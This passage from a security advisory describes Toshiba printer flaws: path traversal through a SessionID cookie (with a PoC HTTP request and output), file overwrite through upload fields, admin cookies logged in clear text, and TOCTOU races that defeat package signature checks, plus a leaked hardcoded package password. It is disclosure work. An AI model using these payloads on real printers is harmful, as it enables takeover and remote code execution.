437 @classmethod 438 def upload_file_to_session_folder(cls, filename, fileObj, SessionID): 439 log.warning("applicationManagementModel: upload_file_to_session_folder start") 440 responseMap = {} 441 442 upload_destination = '/work/al/tmp/upload/' + SessionID + '/' 443 if not os.path.exists(upload_destination): 444 os.makedirs(upload_destination) 445 446 try: 447 absolute_file_path = str(os.path.join(upload_destination , str(filename.encode('ascii','ignore')))) 448 responseMap["ABSOLUTE_FILE_PATH"] = absolute_file_path 449 log.warning("absolute_file_path : " + str(absolute_file_path)) 450 with open(absolute_file_path, 'wb') as output_file: 451 shutil.copyfileobj(fileObj, output_file) 452 453 log.warning("File upload to session folder completed") 454 log.warning("applicationManagementModel: upload_file_to_session_folder end") 455 responseMap["STATUS"] = "SUCCESS" 456 return responseMap 457 458 except Exception as err: 459 log.exception("Error In exitApp(upload_file_to_session_folder) : " + str(err)) 460 responseMap["STATUS"] = "FAILURE" 461 log.warning("applicationManagementModel: upload_file_to_session_folder end") 462 return responseMap 463
PoC:
When setting the SessionID value to ../../../../dev/shm/
, we can see the resulting file /dev/shm/b'upload-2.txt'
written instead of being stored inside /work/al/tmp/upload/' + SessionID
:
POST /tapy/server/appmgmt/uploadPackage HTTP/1.1
Host: 10.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------4065413143858317480519150484
Content-Length: 529
Origin: http://10.0.0.1
Connection: close
Referer: http://10.0.0.1/tapy/client/appmgmt/InstallApplication.html?v=1670357577ta
Cookie: Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DADMIN%26SUB%3DAPPLICATION%26CAT%3DAPPLINK; TopAccessURL=http%3A//10.0.0.1/%3FMAIN%3DTOPACCESS; SessionID=../../../../dev/shm/; clicked=0; lastVisited=APPLINK; IgnoreSessionTimeout=1; Session=10.0.0.2.5389297fae5d47f2c3bbf71fbeefbe5b
Upgrade-Insecure-Requests: 1
-----------------------------4065413143858317480519150484
Content-Disposition: form-data; name="txtCSRFPID"
10.0.0.2.5389297fae5d47f2c3bbf71fbeefbe5b
-----------------------------4065413143858317480519150484
Content-Disposition: form-data; name="txtSelectedFileName"
upload-2.txt
-----------------------------4065413143858317480519150484
Content-Disposition: form-data; name="idFileName"; filename="upload.txt"
Content-Type: text/plain
hi
-----------------------------4065413143858317480519150484--
And we can find the resulting file in /dev/shm:
bash-4.1# ls -latr /dev/shm
total 2908
----rw---- 1 root trusted 16 Oct 27 02:15 sem.ssdktime.lock
----rw---- 1 root trusted 16 Oct 27 02:15 sem.ssdk.mutex
----rw---- 1 root trusted 16 Oct 27 02:15 sem.ssdk.lock
----rw---- 1 root trusted 16 Oct 27 02:15 sem.ssdktempdb
----rw---- 1 root trusted 16 Oct 27 02:15 sem.ssdkimagetempdb
----rw---- 1 root trusted 16 Oct 27 02:15 sem.ssdkdebugsettings.lock
-rwxr-xr-x 1 root root 0 Oct 27 02:15 m.disableLogs.4
[...]
-rw-rw-rw- 1 apache trusted 3 Oct 27 12:15 b'upload-2.txt'
drwxrwxr-x 2 root root 7840 Oct 27 12:15 .
An attacker can overwrite files as apache (e.g. Python files) to get Remote Code Execution.
An attacker can get Remote Code Execution by creating and/or overwriting files (mainly crontab files due to the restriction on the filename).
It is possible to overwrite any file when installing a new application in Administration > Application > Application List > Install Application:
When installing an application, several requests will be sent to the printer:
/tapy/server/appmgmt/uploadPackage
,/tapy/server/appmgmt/extractPackage
.This vulnerability is similar to the previous vulnerability but it requires exploiting another variable. As shown previously, the attacker has full control over:
packagename
defined in /registration/al/TopAccessPy/server/screenfacade/appmgmt/views.py:188
from the POST-data txtSelectedFileName
variable.The packagename
variable is not filtered and can contain any value, and can be used to write file anywhere in the filesystem. This variable is ultimately used in /registration/al/TopAccessPy/server/screenfacade/appmgmt/applicationmanager.py
on line 480 to generate the filename:
Content of /registration/al/TopAccessPy/server/screenfacade/appmgmt/applicationmanager.py
:
464 @classmethod 465 def upload_package(cls, packagename, package_file, SessionID): 466 log.warning("applicationManagementModel: upload_package start") 467 468 upload_destination = '/work/al/tmp/upload/' + SessionID + '/' 469 if not os.path.exists(upload_destination): 470 os.makedirs(upload_destination) 471 472 try: 473 log.warning(" upload_package start") 474 #if type(packagename) == str: 475 #packagename = unicode(packagename, "utf-8", errors="ignore") 476 #else: 477 #packagename = unicode(packagename) 478 log.warning(" upload_package start -- test end") 479 #absolute_package_path = os.path.join(upload_destination , packagename).encode() 480 absolute_package_path = str(os.path.join(upload_destination , str(packagename.encode('ascii','ignore')))) 481 with open(absolute_package_path, 'wb') as output_file: 482 shutil.copyfileobj(package_file, output_file) 483 484 return "SUCCESS" 485 486 except Exception as err: 487 log.exception("Error In exitApp(upload_file) : " + str(err)) 488 return "FAILURE"
An attacker can overwrite files as apache (e.g. Python files) to get Remote Code Execution.
An attacker can get Remote Code Execution by creating and/or overwriting files (mainly crontab files due to the restriction on the filename).
It is possible to overwrite any file when installing a new application in Administration > Application > Application List > Install Application:
When installing an application, several requests will be sent to the printer:
/tapy/server/appmgmt/uploadPackage
,/tapy/server/appmgmt/extractPackage
.This vulnerability is similar to the previous vulnerability but it requires exploiting another variable. As shown previously, the attacker has full control over:
package_file
defined in /registration/al/TopAccessPy/server/screenfacade/appmgmt/views.py:189
from the POST-data idFileName
variable.The package_file
variable is not filtered and can contain any value, and can be used to copy file anywhere in the filesystem. This variable is ultimately used in /registration/al/TopAccessPy/server/screenfacade/appmgmt/applicationmanager.py
on line 482 to copy any local file to a specific filename:
Content of /registration/al/TopAccessPy/server/screenfacade/appmgmt/applicationmanager.py
:
464 @classmethod 465 def upload_package(cls, packagename, package_file, SessionID): 466 log.warning("applicationManagementModel: upload_package start") 467 468 upload_destination = '/work/al/tmp/upload/' + SessionID + '/' 469 if not os.path.exists(upload_destination): 470 os.makedirs(upload_destination) 471 472 try: 473 log.warning(" upload_package start") 474 #if type(packagename) == str: 475 #packagename = unicode(packagename, "utf-8", errors="ignore") 476 #else: 477 #packagename = unicode(packagename) 478 log.warning(" upload_package start -- test end") 479 #absolute_package_path = os.path.join(upload_destination , packagename).encode() 480 absolute_package_path = str(os.path.join(upload_destination , str(packagename.encode('ascii','ignore')))) 481 with open(absolute_package_path, 'wb') as output_file: 482 shutil.copyfileobj(package_file, output_file) 483 484 return "SUCCESS" 485 486 except Exception as err: 487 log.exception("Error In exitApp(upload_file) : " + str(err)) 488 return "FAILURE"
An attacker can copy and overwrite files as apache (e.g. Python files) to get Remote Code Execution.
An attacker can get Remote Code Execution by creating and/or overwriting files (mainly crontab files due to the restriction on the filename).
During the installation of applications, cookies are written in clear-text in logs.
When installing an application, several requests will be sent and the method validate_user()
will be called: this method will write admin cookies in clear-text in the logs.
In the upload_package
method, the validate_user()
is called to check the authorization on line 191 in /registration/al/TopAccessPy/server/screenfacade/appmgmt/views.py
:
Content of /registration/al/TopAccessPy/server/screenfacade/appmgmt/views.py
:
170 @view_config(route_name='upload_package', xhr=False, renderer='string') 171 def upload_package(request): 172 log.warning("++++++++++++++++++++++++++++++++") 173 log.warning("upload_package : Start ") 174 SessionID = '' 175 session = ' ' 176 csrfpId = '' 177 178 if 'SessionID' in request.cookies: 179 SessionID = request.cookies['SessionID'] <---- SessionID is retrieved from the cookie 180 if 'Session' in request.cookies: 181 session = request.cookies['Session'] <-------- Session is retrieved from the cookie 182 if 'txtCSRFPID' in request.POST: 183 csrfpId = request.POST['txtCSRFPID'] 184 [...] 191 validationMap = applicationManagementModel.validate_user(SessionID, session, csrfpId)
During the execution flow, on line 191, the method validate_user()
is called with the SessionID
and the Session
cookies.
These cookies are then written in clear-text in the logs on lines 391 and 392 in /registration/al/TopAccessPy/server/screenfacade/appmgmt/applicationmanager.py
:
388 @classmethod 389 def validate_user(cls, sessionId, session, csrfpid): 390 log.warning("applicationManagementModel: validate_user start") 391 log.info("Session ID recieved : " + sessionId) 392 log.info("CSRFPID Recieved : " + csrfpid) 393 log.info("Session : " + session) 394
Admin cookies are written in clear-text in logs.
An attacker can retrieve them and bypass the authentication mechanism.
When installing an application through the web application (Administration > Application > Application List > Install Application), a signature is checked inside the printer to proceed the installation of the uploaded application.
There is a chain of trust and the installation process is entirely based on the validity of the chain of trust.
Through dynamic analysis using a root shell during the installation process, we can see several commands being executed:
2023/10/27 10:54:31 CMD: UID=0 PID=32195 | sh -c if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi 2023/10/27 10:54:31 CMD: UID=0 PID=32194 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi 2023/10/27 10:54:33 CMD: UID=0 PID=32196 | sh -c echo "-----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2MWVi+kjfL/9lyuBls9O NU5+qgiWNSzGgGqUq+Z9uaiWGoz6wOBKlQc55f3nUs6CfpX/e8cHgS8nySWWvgy8 LnK4f6XAUMRQC03jmHXfhbvJOd6PbkljFM/k19AwOf/xkTUVm45Tp5P3T1Bd9XWS qUJxobgTS15c++IcsAAScD8cLZPRywLWRBoA0poms6uPVkyN9Oc3J2EMpZT/6XQW ucNFh/ejLe1z0Pt/Sk4TeN/ELZ3+IHwBRfApelixcEoZTWtVbnvaUqO0mZ8PebTT m6PlKE9fGiAe1FAQZE3fE7StyOIwxd+n3t5M+SdGba4ZJWJMskBaR8bTYHHe4DRp PQIDAQAB -----END PUBLIC KEY-----"> /work/ci/tmp/MFPAPI_public.key 2023/10/27 10:54:33 CMD: UID=0 PID=32197 | sh -c openssl rsautl -verify -pubin -inkey /work/ci/tmp/MFPAPI_public.key -in /work/al/tmp/package/Signature.enc -out /work/ci/SignatureFile_Dec 2023/10/27 10:54:33 CMD: UID=0 PID=32198 | sh -c openssl enc -d -aes256 -md md5 -in /work/al/tmp/package/ApplicationPackage.enc -out /work/al/tmp/package/ApplicationPackage.zip -k 4f2594ffaa79c3a58e5a4868910f27f1
If an invalid Signature.enc
file is provided inside the uploaded application Package.zip file, then the process stops.
The command (PID=32196 in the dynamic analysis) that writes the public key into a file is hardcoded inside /home/SYSROM_SRC/build/release/lib/libcipltintegritycheck.so.0
.
Content of /home/SYSROM_SRC/build/release/lib/libcipltintegritycheck.so.0
:
.rodata:00016620 aEchoBeginPubli db 'echo "-----BEGIN PUBLIC KEY-----',0Ah
.rodata:00016620 db 'MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2MWVi+kjfL/9lyuBls9O',0Ah
.rodata:00016620 db 'NU5+qgiWNSzGgGqUq+Z9uaiWGoz6wOBKlQc55f3nUs6CfpX/e8cHgS8nySWWvgy8',0Ah
.rodata:00016620 db 'LnK4f6XAUMRQC03jmHXfhbvJOd6PbkljFM/k19AwOf/xkTUVm45Tp5P3T1Bd9XWS',0Ah
.rodata:00016620 db 'qUJxobgTS15c++IcsAAScD8cLZPRywLWRBoA0poms6uPVkyN9Oc3J2EMpZT/6XQW',0Ah
.rodata:00016620 db 'ucNFh/ejLe1z0Pt/Sk4TeN/ELZ3+IHwBRfApelixcEoZTWtVbnvaUqO0mZ8PebTT',0Ah
.rodata:00016620 db 'm6PlKE9fGiAe1FAQZE3fE7StyOIwxd+n3t5M+SdGba4ZJWJMskBaR8bTYHHe4DRp',0Ah
.rodata:00016620 db 'PQIDAQAB',0Ah
.rodata:00016620 db '-----END PUBLIC KEY-----"> /work/ci/tmp/MFPAPI_public.key',0
.rodata:0001680A align 20h
The verification using the public key is secure in theory. The size of the RSA key is 2048 bits, so it is unlikely to be factorized by threat actors:
kali% openssl rsa -inform PEM -pubin -in MFPAPI_public.key -text -noout
Public-Key: (2048 bit)
Modulus:
00:d8:c5:95:8b:e9:23:7c:bf:fd:97:2b:81:96:cf:
4e:35:4e:7e:aa:08:96:35:2c:c6:80:6a:94:ab:e6:
7d:b9:a8:96:1a:8c:fa:c0:e0:4a:95:07:39:e5:fd:
e7:52:ce:82:7e:95:ff:7b:c7:07:81:2f:27:c9:25:
96:be:0c:bc:2e:72:b8:7f:a5:c0:50:c4:50:0b:4d:
e3:98:75:df:85:bb:c9:39:de:8f:6e:49:63:14:cf:
e4:d7:d0:30:39:ff:f1:91:35:15:9b:8e:53:a7:93:
f7:4f:50:5d:f5:75:92:a9:42:71:a1:b8:13:4b:5e:
5c:fb:e2:1c:b0:00:12:70:3f:1c:2d:93:d1:cb:02:
d6:44:1a:00:d2:9a:26:b3:ab:8f:56:4c:8d:f4:e7:
37:27:61:0c:a5:94:ff:e9:74:16:b9:c3:45:87:f7:
a3:2d:ed:73:d0:fb:7f:4a:4e:13:78:df:c4:2d:9d:
fe:20:7c:01:45:f0:29:7a:58:b1:70:4a:19:4d:6b:
55:6e:7b:da:52:a3:b4:99:9f:0f:79:b4:d3:9b:a3:
e5:28:4f:5f:1a:20:1e:d4:50:10:64:4d:df:13:b4:
ad:c8:e2:30:c5:df:a7:de:de:4c:f9:27:46:6d:ae:
19:25:62:4c:b2:40:5a:47:c6:d3:60:71:de:e0:34:
69:3d
Exponent: 65537 (0x10001)
The entire chain of trust is based on a public key hardcoded inside the /home/SYSROM_SRC/build/release/lib/libcipltintegritycheck.so.0
file, whose corresponding private key is used to generate the packages.
Unfortunately, when doing dynamic analysis, we can see that the public key used to verify the Signature.enc
file is stored in an insecure manner in /work/ci/tmp/MFPAPI_public.key
.
The /work/ci/tmp/
directory is 777, allowing any attacker to write any file:
bash-4.1# ls -la /work/ci/tmp/
total 16
drwxrwxrwx 2 root root 12288 Oct 27 11:26 .
drwxrwxrwx 6 root root 4096 Oct 27 11:26 ..
-rwxrwxrwx 1 root trusted 0 Oct 27 02:16 HDB_00000#boxproperties_dom.txt
-rwxrwxrwx 1 root trusted 0 Oct 27 02:16 HDB_HDBROOT#GetCmdDoc.txt
-rwxrwxrwx 1 root trusted 0 Oct 27 02:16 HDB_HDBROOT#RestrictionModeDeviceFaxEvent.txt
-rwxrwxrwx 1 root trusted 0 Oct 27 02:16 HDB_HDBROOT#RestrictionModeDeviceState.txt
-rwxrwxrwx 1 root trusted 0 Oct 27 02:16 HDB_HDBROOT#RestrictionModeSystemInformation.txt
-rwxrwxrwx 1 root trusted 0 Oct 27 03:17 HDB_HDBROOT#RestrictionPowerSaveCommandToDSM.txt
-rwxrwxrwx 1 root trusted 0 Oct 27 02:16 HDB_HDBROOT#RestrictionSecretReceptionFalseToDSM.txt
-rwxrwxrwx 1 root trusted 0 Oct 27 06:17 HDB_HDBROOT#RestrictionSleepCommandToDSM.txt
-rwxrwxrwx 1 root trusted 0 Oct 27 02:16 HDB_Precompiled#Resources?Frames?COMMON?ALERTS?alertspanel_devicestatus.xml.txt
[...]
Furthermore, the resulting file /work/ci/tmp/MFPAPI_public.key
is using insecure permissions (666) allowing any attacker to replace it with a rogue public key during the verification process using a file overwrite vulnerability.
This is a TOCTOU vulnerability:
bash-4.1# for i in $(seq 1 100); do ls -la /work/ci/tmp/MFPAPI_public.key;sleep 0.1;done
ls: cannot access /work/ci/tmp/MFPAPI_public.key: No such file or directory
ls: cannot access /work/ci/tmp/MFPAPI_public.key: No such file or directory
ls: cannot access /work/ci/tmp/MFPAPI_public.key: No such file or directory
ls: cannot access /work/ci/tmp/MFPAPI_public.key: No such file or directory
ls: cannot access /work/ci/tmp/MFPAPI_public.key: No such file or directory
ls: cannot access /work/ci/tmp/MFPAPI_public.key: No such file or directory
ls: cannot access /work/ci/tmp/MFPAPI_public.key: No such file or directory
-rw-rw-rw- 1 root trusted 451 Oct 27 11:26 /work/ci/tmp/MFPAPI_public.key
ls: cannot access /work/ci/tmp/MFPAPI_public.key: No such file or directory
ls: cannot access /work/ci/tmp/MFPAPI_public.key: No such file or directory
ls: cannot access /work/ci/tmp/MFPAPI_public.key: No such file or directory
ls: cannot access /work/ci/tmp/MFPAPI_public.key: No such file or directory
[...]
An attacker can replace the /work/ci/tmp/MFPAPI_public.key
file between the time when is it written into the printer and when it is being used by openssl:
2023/10/27 10:54:33 CMD: UID=0 PID=32196 | sh -c echo "-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2MWVi+kjfL/9lyuBls9O
NU5+qgiWNSzGgGqUq+Z9uaiWGoz6wOBKlQc55f3nUs6CfpX/e8cHgS8nySWWvgy8
LnK4f6XAUMRQC03jmHXfhbvJOd6PbkljFM/k19AwOf/xkTUVm45Tp5P3T1Bd9XWS
qUJxobgTS15c++IcsAAScD8cLZPRywLWRBoA0poms6uPVkyN9Oc3J2EMpZT/6XQW
ucNFh/ejLe1z0Pt/Sk4TeN/ELZ3+IHwBRfApelixcEoZTWtVbnvaUqO0mZ8PebTT
m6PlKE9fGiAe1FAQZE3fE7StyOIwxd+n3t5M+SdGba4ZJWJMskBaR8bTYHHe4DRp
PQIDAQAB
-----END PUBLIC KEY-----"> /work/ci/tmp/MFPAPI_public.key
/\
|
------------- TOCTOU HERE --------------------
|
V
2023/10/27 10:54:33 CMD: UID=0 PID=32197 | sh -c openssl rsautl -verify -pubin -inkey /work/ci/tmp/MFPAPI_public.key -in /work/al/tmp/package/Signature.enc -out /work/ci/SignatureFile_Dec
There is a second TOCTOU between the following openssl commands. The second command is only executed if the Signature.enc
is correctly verified in the first command and the password in the second command seems to depend on the content of the Signature.enc
file.
Between the 2 openssl commands, an attacker can replace /work/al/tmp/package/ApplicationPackage.enc
with a malicious package (encrypted with the password used by a trusted package).
24 2023/10/27 10:54:33 CMD: UID=0 PID=32197 | sh -c openssl rsautl -verify -pubin -inkey /work/ci/tmp/MFPAPI_public.key -in /work/al/tmp/package/Signature.enc -out /work/ci/SignatureFile_Dec
/\
|
------------- TOCTOU HERE --------------------
|
V
25 2023/10/27 10:54:33 CMD: UID=0 PID=32198 | sh -c openssl enc -d -aes256 -md md5 -in /work/al/tmp/package/ApplicationPackage.enc -out /work/al/tmp/package/ApplicationPackage.zip -k 4f2594ffaa79c3a58e5a4868910f27f1
It is possible to install a rogue application package, signed with a rogue private key and at the same time to upload a file replacing the Toshiba original public key at /work/ci/tmp/MFPAPI_public.key
with the corresponding rogue public key, breaking the entire chain of trust.
This rogue public key will then be used to verify the application (and it will pass): the application will be installed.
Consequently, an attacker can forge a rogue /work/ci/tmp/MFPAPI_public.key
key and use its own public/private keys to install package file.
An attacker can also replace /home/SYSROM_SRC/build/release/lib/libcipltintegritycheck.so.0
with a modified library since the permissions are insecure allowing to (i) get Remote Code Execution when the code is executed and/or (ii) contain a malicious public key and also get RCE.
An attacker with admin access can install rogue applications and get Remote Code Execution.
JPCERT provided a security bulletin.
Toshiba provided a security bulletin.
These vulnerabilities were found by Pierre Barre aka Pierre Kim (@PierreKimSec).
https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html
https://pierrekim.github.io/advisories/2024-toshiba-mfp.txt
https://www.toshibatec.com/information/20240531_01.html
https://www.toshibatec.com/information/pdf/information20240531_01.pdf
https://jvn.jp/en/vu/JVNVU97136265/index.html
This advisory is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/
published on 2024-06-27 00:00:00 by Pierre Kim <pierre.kim.sec@gmail.com>